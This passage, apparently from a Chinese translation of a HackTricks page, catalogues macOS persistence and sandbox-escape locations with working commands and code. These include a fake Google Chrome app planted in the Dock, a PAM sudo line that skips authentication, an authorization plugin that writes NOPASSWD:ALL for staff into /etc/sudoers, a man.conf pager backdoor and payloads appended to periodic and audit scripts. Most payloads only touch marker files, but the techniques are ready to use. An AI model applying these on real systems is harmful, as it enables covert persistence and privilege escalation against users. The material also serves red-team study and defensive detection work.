se.folderActions.push(fa);
fa.scripts.push(myScript);
```

使用以下命令运行设置脚本：

```bash
osascript -l JavaScript /Users/username/attach.scpt
```

* 通过 GUI 实现这种持久性的方法如下：

这是将被执行的脚本：

{% code title="source.js" %}

```applescript
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```

{% endcode %}

使用以下命令编译：`osacompile -l JavaScript -o folder.scpt source.js`

移动到：

```bash
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
```

然后打开`Folder Actions Setup`应用程序，选择**您想要监视的文件夹**，并在您的情况下选择\*\*`folder.scpt`\*\*（在我的情况下，我称其为output2.scp）：

<figure><img src="/files/64Ig10hTjvVkLKA1HSkq" alt="" width="297"><figcaption></figcaption></figure>

现在，如果您使用**Finder**打开该文件夹，您的脚本将被执行。

此配置存储在以base64格式存储的**plist**中，位于\*\*`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`\*\*。

现在，让我们尝试准备这种持久性而无需GUI访问：

1. **复制 `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** 到 `/tmp` 以备份它：

* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`

2. **删除**您刚刚设置的文件夹操作：

<figure><img src="/files/BW2HUyGMC8stA1NuJfqs" alt=""><figcaption></figcaption></figure>

现在我们有了一个空环境

3. 复制备份文件：`cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
4. 打开Folder Actions Setup.app以使用此配置：`open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`

{% hint style="danger" %}
对我来说这并没有起作用，但这些是来自报告的指令:(
{% endhint %}

### Dock快捷方式

报告：<https://theevilbit.github.io/beyond/beyond_0027/>

* 用于绕过沙盒的有用性：[✅](https://emojipedia.org/check-mark-button)
* 但您需要在系统内安装一个恶意应用程序
* TCC绕过：[🔴](https://emojipedia.org/large-red-circle)

#### 位置

* `~/Library/Preferences/com.apple.dock.plist`
* **触发器**：当用户点击Dock内的应用程序时

#### 描述和利用

Dock中显示的所有应用程序都在plist中指定：**`~/Library/Preferences/com.apple.dock.plist`**

只需使用以下内容即可**添加一个应用程序**：

{% code overflow="wrap" %}

```bash
# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'

# Restart Dock
killall Dock
```

{% endcode %}

通过一些**社会工程**，你可以在 dock 中**冒充谷歌浏览器**，实际上执行你自己的脚本：

```bash
#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock
```

### 颜色选择器

解读：[https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond_0017/)

* 用于绕过沙盒：[🟠](https://emojipedia.org/large-orange-circle)
* 需要发生一个非常具体的动作
* 你将进入另一个沙盒
* TCC绕过：[🔴](https://emojipedia.org/large-red-circle)

#### 位置

* `/Library/ColorPickers`
* 需要root权限
* 触发条件：使用颜色选择器
* `~/Library/ColorPickers`
* 触发条件：使用颜色选择器

#### 描述与利用

**编译一个颜色选择器**捆绑包与你的代码（你可以使用[**这个作为例子**](https://github.com/viktorstrate/color-picker-plus)），并添加一个构造函数（就像[屏幕保护程序部分](#screen-saver)中一样），然后将捆绑包复制到`~/Library/ColorPickers`。

然后，当颜色选择器被触发时，你的代码也应该被执行。

请注意，加载你的库的二进制文件有一个**非常严格的沙盒**：`/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`

{% code overflow="wrap" %}

```bash
[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))
```

{% endcode %}

### Finder Sync Plugins

**Writeup**: <https://theevilbit.github.io/beyond/beyond_0026/>\
**Writeup**: <https://objective-see.org/blog/blog_0x11.html>

* 有用于绕过沙盒: **否，因为您需要执行自己的应用程序**
* TCC绕过: ???

#### 位置

* 特定应用程序

#### 描述和利用

一个带有Finder Sync Extension的应用程序示例[**可以在这里找到**](https://github.com/D00MFist/InSync)。

应用程序可以拥有`Finder Sync Extensions`。这个扩展将放在将要执行的应用程序中。此外，为了使扩展能够执行其代码，它**必须使用一些有效的苹果开发者证书进行签名**，它必须**受到沙盒限制**（尽管可以添加宽松的例外），并且必须注册到类似于：

```bash
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
```

### 屏幕保护程序

Writeup: <https://theevilbit.github.io/beyond/beyond_0016/>\
Writeup: <https://posts.specterops.io/saving-your-access-d562bf5bf90b>

* 有用于绕过沙盒：[🟠](https://emojipedia.org/large-orange-circle)
* 但最终会进入常见应用程序沙盒
* TCC绕过：[🔴](https://emojipedia.org/large-red-circle)

#### 位置

* `/System/Library/Screen Savers`
* 需要Root权限
* **触发器**：选择屏幕保护程序
* `/Library/Screen Savers`
* 需要Root权限
* **触发器**：选择屏幕保护程序
* `~/Library/Screen Savers`
* **触发器**：选择屏幕保护程序

<figure><img src="/files/YMMF3MRUscvFelfl9qKb" alt="" width="375"><figcaption></figcaption></figure>

#### 描述 & 攻击

在Xcode中创建一个新项目，并选择模板生成一个新的**屏幕保护程序**。然后，将代码添加到其中，例如以下代码以生成日志。

**构建**它，并将`.saver`捆绑包复制到\*\*`~/Library/Screen Savers`\*\*。然后，打开屏幕保护程序GUI，如果您只需单击它，它应该生成大量日志：

{% code overflow="wrap" %}

```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'

Timestamp                       (process)[PID]
2023-09-27 22:55:39.622369+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]
```

{% endcode %}

{% hint style="danger" %}
请注意，因为在加载此代码的二进制文件的授权文件中 (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`)，您可以找到 **`com.apple.security.app-sandbox`**，因此您将处于**常见应用程序沙箱**中。
{% endhint %}

Saver code:

```objectivec
//
//  ScreenSaverExampleView.m
//  ScreenSaverExample
//
//  Created by Carlos Polop on 27/9/23.
//

#import "ScreenSaverExampleView.h"

@implementation ScreenSaverExampleView

- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}

- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}

- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}

- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}

- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}

- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}

- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}

@end
```

### Spotlight插件

writeup: <https://theevilbit.github.io/beyond/beyond_0011/>

* 有用于绕过沙盒：[🟠](https://emojipedia.org/large-orange-circle)
* 但最终会进入应用程序沙盒
* TCC绕过：[🔴](https://emojipedia.org/large-red-circle)
* 沙盒看起来非常有限

#### 位置

* `~/Library/Spotlight/`
* **触发条件**：创建一个由Spotlight插件管理的扩展名的新文件。
* `/Library/Spotlight/`
* **触发条件**：创建一个由Spotlight插件管理的扩展名的新文件。
* 需要Root权限
* `/System/Library/Spotlight/`
* **触发条件**：创建一个由Spotlight插件管理的扩展名的新文件。
* 需要Root权限
* `Some.app/Contents/Library/Spotlight/`
* **触发条件**：创建一个由Spotlight插件管理的扩展名的新文件。
* 需要新的应用程序

#### 描述和利用

Spotlight是macOS内置的搜索功能，旨在为用户提供**快速和全面访问计算机上的数据**。\
为了促进这种快速搜索功能，Spotlight维护一个**专有数据库**，通过**解析大多数文件**创建索引，使得可以通过文件名和内容快速搜索。

Spotlight的基本机制涉及一个名为'mds'的中央进程，代表\*\*'元数据服务器'**。该进程协调整个Spotlight服务。此外，还有多个执行各种维护任务的'mdworker'守护程序，例如索引不同文件类型（`ps -ef | grep mdworker`）。这些任务通过Spotlight导入器插件或**".mdimporter bundles\*\*"实现，这些插件使Spotlight能够理解和索引各种文件格式的内容。

这些插件或\*\*`.mdimporter`\*\* bundles位于先前提到的位置，如果出现新的bundle，它将在一分钟内加载（无需重新启动任何服务）。这些bundles需要指示它们可以管理哪些**文件类型和扩展名**，这样，当创建具有指定扩展名的新文件时，Spotlight将使用它们。

可以通过运行以下命令**找到所有加载的`mdimporters`**：

```bash
mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]
```

例如，**/Library/Spotlight/iBooksAuthor.mdimporter** 用于解析这些类型的文件（扩展名为 `.iba` 和 `.book` 等）:

```json
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist

[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]
```

{% hint style="danger" %}
如果您检查其他`mdimporter`的Plist文件，您可能找不到\*\*`UTTypeConformsTo`\*\*条目。这是因为这是一个内置的\_统一类型标识符\_（[UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)），不需要指定扩展名。

此外，系统默认插件始终优先，因此攻击者只能访问未被苹果自己的`mdimporters`索引的文件。
{% endhint %}

要创建自己的导入器，您可以从这个项目开始：<https://github.com/megrimm/pd-spotlight-importer>，然后更改名称，**`CFBundleDocumentTypes`并添加`UTImportedTypeDeclarations`**，以便支持您想要支持的扩展名，并在\*\*`schema.xml`**中反映它们。**\
**然后**更改**函数**`GetMetadataForFile`\*\*的代码，以在创建具有已处理扩展名的文件时执行您的有效负载。

最后**构建并复制您的新`.mdimporter`到三个先前位置之一，您可以通过监视日志**或检查\*\*`mdimport -L.`\*\*来检查它何时加载。

### ~~首选项窗格~~

{% hint style="danger" %}
看起来这似乎不再起作用。
{% endhint %}

撰写：<https://theevilbit.github.io/beyond/beyond_0009/>

* 用于绕过沙箱：[🟠](https://emojipedia.org/large-orange-circle)
* 需要特定用户操作
* TCC绕过：[🔴](https://emojipedia.org/large-red-circle)

#### 位置

* **`/System/Library/PreferencePanes`**
* **`/Library/PreferencePanes`**
* **`~/Library/PreferencePanes`**

#### 描述

看起来这似乎不再起作用。

## Root沙箱绕过

{% hint style="success" %}
在这里，您可以找到有用于**绕过沙箱**的起始位置，允许您通过**将其写入文件**来简单地执行某些内容，而**root**和/或需要其他**奇怪条件。**
{% endhint %}

### 周期性

撰写：<https://theevilbit.github.io/beyond/beyond_0019/>

* 用于绕过沙箱：[🟠](https://emojipedia.org/large-orange-circle)
* 但您需要是root
* TCC绕过：[🔴](https://emojipedia.org/large-red-circle)

#### 位置

* `/etc/periodic/daily`，`/etc/periodic/weekly`，`/etc/periodic/monthly`，`/usr/local/etc/periodic`
* 需要root权限
* **触发器**：时间到达时
* `/etc/daily.local`，`/etc/weekly.local`或`/etc/monthly.local`
* 需要root权限
* **触发器**：时间到达时

#### 描述与利用

周期性脚本（**`/etc/periodic`**）会被执行，因为在`/System/Library/LaunchDaemons/com.apple.periodic*`中配置了**启动守护程序**。请注意，存储在`/etc/periodic/`中的脚本将作为**文件的所有者执行**，因此这对于潜在的特权升级不起作用。

```bash
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r--  1 root  wheel  887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r--  1 root  wheel  895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r--  1 root  wheel  891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist

# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x  11 root  wheel  352 May 13 00:29 daily
drwxr-xr-x   5 root  wheel  160 May 13 00:29 monthly
drwxr-xr-x   3 root  wheel   96 May 13 00:29 weekly

/etc/periodic/daily:
total 72
-rwxr-xr-x  1 root  wheel  1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x  1 root  wheel   695 May 13 00:29 130.clean-msgs
[...]

/etc/periodic/monthly:
total 24
-rwxr-xr-x  1 root  wheel   888 May 13 00:29 199.rotate-fax
-rwxr-xr-x  1 root  wheel  1010 May 13 00:29 200.accounting
-rwxr-xr-x  1 root  wheel   606 May 13 00:29 999.local

/etc/periodic/weekly:
total 8
-rwxr-xr-x  1 root  wheel  620 May 13 00:29 999.local
```

在 **`/etc/defaults/periodic.conf`** 中还有其他将被执行的定期脚本：

```bash
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local"				# Local scripts
weekly_local="/etc/weekly.local"			# Local scripts
monthly_local="/etc/monthly.local"			# Local scripts
```

如果您设法编写任何文件`/etc/daily.local`，`/etc/weekly.local`或`/etc/monthly.local`，它将**迟早被执行**。

{% hint style="warning" %}
请注意，周期性脚本将作为脚本的所有者**执行**。因此，如果常规用户拥有脚本，它将作为该用户执行（这可能会防止特权升级攻击）。
{% endhint %}

### PAM

Writeup: [Linux Hacktricks PAM](/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
Writeup: <https://theevilbit.github.io/beyond/beyond_0005/>

* 有用于绕过沙箱：[🟠](https://emojipedia.org/large-orange-circle)
* 但您需要是root
* TCC绕过：[🔴](https://emojipedia.org/large-red-circle)

#### 位置

* 始终需要root权限

#### 描述和利用

由于PAM更专注于**持久性**和恶意软件，而不是在macOS内部轻松执行，因此本博客不会提供详细解释，**请阅读这些文章以更好地理解这种技术**。

使用以下命令检查PAM模块：

```bash
ls -l /etc/pam.d
```

一种滥用PAM的持久性/权限提升技术很简单，只需修改模块/etc/pam.d/sudo，在开头添加以下行：

```bash
auth       sufficient     pam_permit.so
```

所以它会**看起来**像这样：

```bash
# sudo: auth account password session
auth       sufficient     pam_permit.so
auth       include        sudo_local
auth       sufficient     pam_smartcard.so
auth       required       pam_opendirectory.so
account    required       pam_permit.so
password   required       pam_deny.so
session    required       pam_permit.so
```

因此，任何尝试使用\*\*`sudo`的操作\*\*都会生效。

{% hint style="danger" %}
请注意，该目录受TCC保护，因此用户很可能会收到要求访问权限的提示。
{% endhint %}

### 授权插件

Writeup: <https://theevilbit.github.io/beyond/beyond_0028/>\
Writeup: <https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65>

* 有用于绕过沙盒：[🟠](https://emojipedia.org/large-orange-circle)
* 但需要以root身份进行额外配置
* TCC绕过：???

#### 位置

* `/Library/Security/SecurityAgentPlugins/`
* 需要root权限
* 还需要配置授权数据库以使用插件

#### 描述和利用

您可以创建一个授权插件，在用户登录时执行以保持持久性。有关如何创建这些插件之一的更多信息，请查看先前的写作（请注意，编写不当的插件可能会将您锁在外面，您将需要从恢复模式清理您的Mac）。

```objectivec
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/

#import <Foundation/Foundation.h>

__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}
```

**将**bundle**移动到要加载的位置：**

```bash
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
```

最后添加加载此插件的**规则**：

```bash
cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF

security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```

**`evaluate-mechanisms`** 会告诉授权框架需要**调用外部机制进行授权**。此外，**`privileged`** 会使其由 root 执行。

使用以下命令触发：

```bash
security authorize com.asdf.asdf
```

然后**staff组应该具有sudo权限**（阅读`/etc/sudoers`以确认）。

### Man.conf

Writeup: <https://theevilbit.github.io/beyond/beyond_0030/>

* 有用于绕过沙盒：[🟠](https://emojipedia.org/large-orange-circle)
* 但您需要是root用户，且用户必须使用man
* TCC绕过：[🔴](https://emojipedia.org/large-red-circle)

#### 位置

* **`/private/etc/man.conf`**
* 需要root权限
* **`/private/etc/man.conf`**：每当使用man时

#### 描述和利用

配置文件\*\*`/private/etc/man.conf`\*\*指示打开man文档文件时要使用的二进制/脚本。因此，可修改可执行文件的路径，以便每当用户使用man阅读文档时，将执行后门。

例如，在\*\*`/private/etc/man.conf`\*\*中设置：

```
MANPAGER /tmp/view
```

然后创建 `/tmp/view` 如下：

```bash
#!/bin/zsh

touch /tmp/manconf

/usr/bin/less -s
```

### Apache2

**Writeup**: <https://theevilbit.github.io/beyond/beyond_0023/>

* 有用于绕过沙盒：[🟠](https://emojipedia.org/large-orange-circle)
* 但需要 root 权限和 apache 需要在运行
* TCC 绕过：[🔴](https://emojipedia.org/large-red-circle)
* Httpd 没有授权

#### 位置

* **`/etc/apache2/httpd.conf`**
* 需要 root 权限
* 触发条件：当 Apache2 启动时

#### 描述 & 攻击

您可以在 `/etc/apache2/httpd.conf` 中指定加载一个模块，添加一行代码，例如：

```bash
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
```

这样，您编译的模块将由Apache加载。唯一的问题是，您需要使用有效的苹果证书进行签名，或者您需要在系统中添加一个新的受信任证书并用其进行签名。

然后，如果需要确保服务器将启动，您可以执行：

```bash
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
```

Dylb的代码示例：

```objectivec
#include <stdio.h>
#include <syslog.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}
```

### BSM审计框架

Writeup: <https://theevilbit.github.io/beyond/beyond_0031/>

* 有助于绕过沙盒: [🟠](https://emojipedia.org/large-orange-circle)
* 但需要root权限，auditd正在运行并引发警告
* TCC绕过: [🔴](https://emojipedia.org/large-red-circle)

#### 位置

* **`/etc/security/audit_warn`**
* 需要Root权限
* **触发条件**: 当auditd检测到警告时

#### 描述 & 攻击

每当auditd检测到警告时，脚本 **`/etc/security/audit_warn`** 会被 **执行**。因此，您可以在其中添加您的有效负载。

```bash
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
```

### 启动项

{% hint style="danger" %}
**此功能已被弃用，因此这些目录中不应该找到任何内容。**
{% endhint %}

**StartupItem** 是一个目录，应该位于 `/Library/StartupItems/` 或 `/System/Library/StartupItems/` 中的一个。一旦建立了这个目录，它必须包含两个特定的文件：

1. 一个 **rc 脚本**：在启动时执行的 shell 脚本。
2. 一个名为 `StartupParameters.plist` 的 **plist 文件**，其中包含各种配置设置。

确保将 rc 脚本和 `StartupParameters.plist` 文件正确放置在 **StartupItem** 目录中，以便启动过程识别并利用它们。

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>
```

在 macOS 上，有多个位置可以用来自动启动应用程序或服务。以下是一些常见的自动启动位置：

1. **登录项**：这些是在用户登录时自动启动的应用程序或服务。可以在“系统偏好设置” > “用户与群组” > “登录项”中管理。
2. **启动代理**：这些是在系统启动时自动启动的应用程序或服务。它们通常由 Launchd 管理，配置文件位于 `/Library/LaunchAgents` 和 `/Library/LaunchDaemons` 中。
3. **启动项**：这些是在系统启动时自动启动的应用程序或服务。它们通常由 Launchd 管理，配置文件位于 `/System/Library/LaunchAgents` 和 `/System/Library/LaunchDaemons` 中。
4. **定时任务**：使用 `cron` 或 `launchd` 可以创建定时任务，定时执行特定的脚本或命令。

检查和管理这些自动启动位置对于确保系统安全性和性能至关重要。

```bash
#!/bin/sh
. /etc/rc.common

StartService(){
touch /tmp/superservicestarted
}

StopService(){
rm /tmp/superservicestarted
}

RestartService(){
echo "Restarting"
}

RunService "$1"
```

### ~~emond~~

{% hint style="danger" %}
我在我的 macOS 中找不到这个组件，想了解更多信息请查看 writeup
{% endhint %}

Writeup: <https://theevilbit.github.io/beyond/beyond_0023/>

由 Apple 引入，**emond** 是一个日志记录机制，似乎是未开发完全或可能被放弃，但仍然可以访问。虽然对于 Mac 管理员来说并不特别有益，但这个鲜为人知的服务可能作为威胁行为者的微妙持久性方法，很可能不被大多数 macOS 管理员注意到。

对于知道其存在的人来说，识别 **emond** 的任何恶意使用是直截了当的。该服务的 LaunchDaemon 寻找要在单个目录中执行的脚本。要检查这一点，可以使用以下命令：

```bash
ls -l /private/var/db/emondClients
```

### XQuartz

Writeup: <https://theevilbit.github.io/beyond/beyond_0018/>

#### 位置

* **`/opt/X11/etc/X11/xinit/privileged_startx.d`**
* 需要 root 权限
* **触发条件**：使用 XQuartz

#### 描述 & 攻击

XQuartz **不再在 macOS 中安装**，如果需要更多信息，请查看 writeup。

### kext

{% hint style="danger" %}
即使作为 root 安装 kext 也很复杂，我不认为这是逃离沙盒或实现持久性的好方法（除非你有漏洞利用）
{% endhint %}

#### 位置

要将 KEXT 安装为启动项，需要将其安装在以下位置之一：

* `/System/Library/Extensions`
* 内置于 OS X 操作系统中的 KEXT 文件。
* `/Library/Extensions`
* 第三方软件安装的 KEXT 文件

您可以使用以下命令列出当前加载的 kext 文件：

```bash
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
```

### ~~amstoold~~

Writeup: <https://theevilbit.github.io/beyond/beyond_0029/>

#### 位置

* **`/usr/local/bin/amstoold`**
* 需要 root 权限

#### 描述 & 利用

显然，`/System/Library/LaunchAgents/com.apple.amstoold.plist` 中的 `plist` 使用了这个二进制文件，同时暴露了一个 XPC 服务... 问题在于该二进制文件并不存在，因此您可以在那里放置一些内容，当调用 XPC 服务时，您的二进制文件将被调用。

我在我的 macOS 中找不到这个了。

### ~~xsanctl~~

Writeup: <https://theevilbit.github.io/beyond/beyond_0015/>

#### 位置

* **`/Library/Preferences/Xsan/.xsanrc`**
* 需要 root 权限
* **触发条件**：当服务运行时（很少）

#### 描述 & 利用

显然，运行此脚本并不是很常见，我甚至在我的 macOS 中找不到它，因此如果您想获取更多信息，请查看 writeup。

### ~~/etc/rc.common~~

{% hint style="danger" %}
**在现代 MacOS 版本中不起作用**
{% endhint %}

也可以在这里放置**将在启动时执行的命令。** 例如常规 rc.common 脚本：

```bash
#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#

######################
# Configure the shell #
######################

#
# Be strict
#
#set -e
set -u

#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH

#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
#    TERM=$(tset - -Q); export TERM
#fi

###################
# Useful functions #
###################

#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test

if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}

alias ConsoleMessage=echo

#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local     pid=""

if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi

if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}

#
# Generic action handler
#
RunService ()
{
case $1 in
start  ) StartService   ;;
stop   ) StopService    ;;
restart) RestartService ;;
*      ) echo "$0: unknown argument: $1";;
esac
}
```

## 持久化技术和工具

* <https://github.com/cedowens/Persistent-Swift>
* <https://github.com/D00MFist/PersistentJXA>

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
